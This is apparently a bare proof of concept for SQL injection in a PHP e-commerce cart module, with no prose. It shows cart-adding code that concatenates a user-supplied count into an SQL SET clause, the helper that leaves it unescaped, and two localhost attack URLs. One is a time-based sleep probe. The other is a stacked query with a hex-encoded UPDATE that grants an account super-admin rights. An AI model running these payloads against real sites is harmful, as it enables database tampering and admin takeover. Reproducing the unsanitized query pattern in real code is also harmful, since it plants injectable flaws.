public function add($product, $count)
    {
        if($this->app->user->account == ‘guest‘)
        {
            /* Save info to cookie if user is guest. */
            $this->cart->addInCookie($product, $count);
            $this->send(array(‘result‘ => ‘success‘, ‘message‘ => $this->lang->saveSuccess)); 
        }
        else
        {
            $result = $this->cart->add($product, $count);
            if($result) $this->send(array(‘result‘ => ‘success‘, ‘message‘ => $this->lang->saveSuccess));
            $this->send(array(‘result‘ => ‘fail‘, ‘message‘ => dao::getError()));
        }
}

public function add($productID, $count)
    {
        $hasProduct = $this->dao->select(‘count(id) as count‘)->from(TABLE_CART)->where(‘account‘)->eq($this->app->user->account)->andWhere(‘product‘)->eq($productID)->fetch(‘count‘);

        if(!$hasProduct)
        {
            $product = new stdclass();
            $product->product = $productID;
            $product->account = $this->app->user->account;
            $product->count   = $count;
            $this->dao->insert(TABLE_CART)->data($product)->exec();
        }
        else
        {
            $this->dao->update(TABLE_CART)->set("count= count + {$count}")->where(‘account‘)->eq($this->app->user->account)->andWhere(‘product‘)->eq($productID)->exec();
        }

        return !dao::isError();
}

public function set($set)
    {
        /* Add ` to avoid keywords of mysql. */
        if(strpos($set, ‘=‘) ===false)
        {
            $set = str_replace(‘,‘, ‘‘, $set);
            $set = ‘`‘ . str_replace(‘`‘, ‘‘, $set) . ‘`‘;
        }

        $this->sql .= $this->isFirstSet ? " $set" : ", $set";
        if($this->isFirstSet) $this->isFirstSet = false;
        return $this;
}

http://localhost/www/index.php/cart-add-1-(select%20sleep(10))

http://localhost/www/index.php/cart-add-1-1;set%20@b=0x757064617465206570735f75736572207365742061646d696e3d27737570657227207768657265206163636f756e743d276675636b796f75273b;prepare%20x%20from%20@b;execute%20x;select%201%20union%20select%201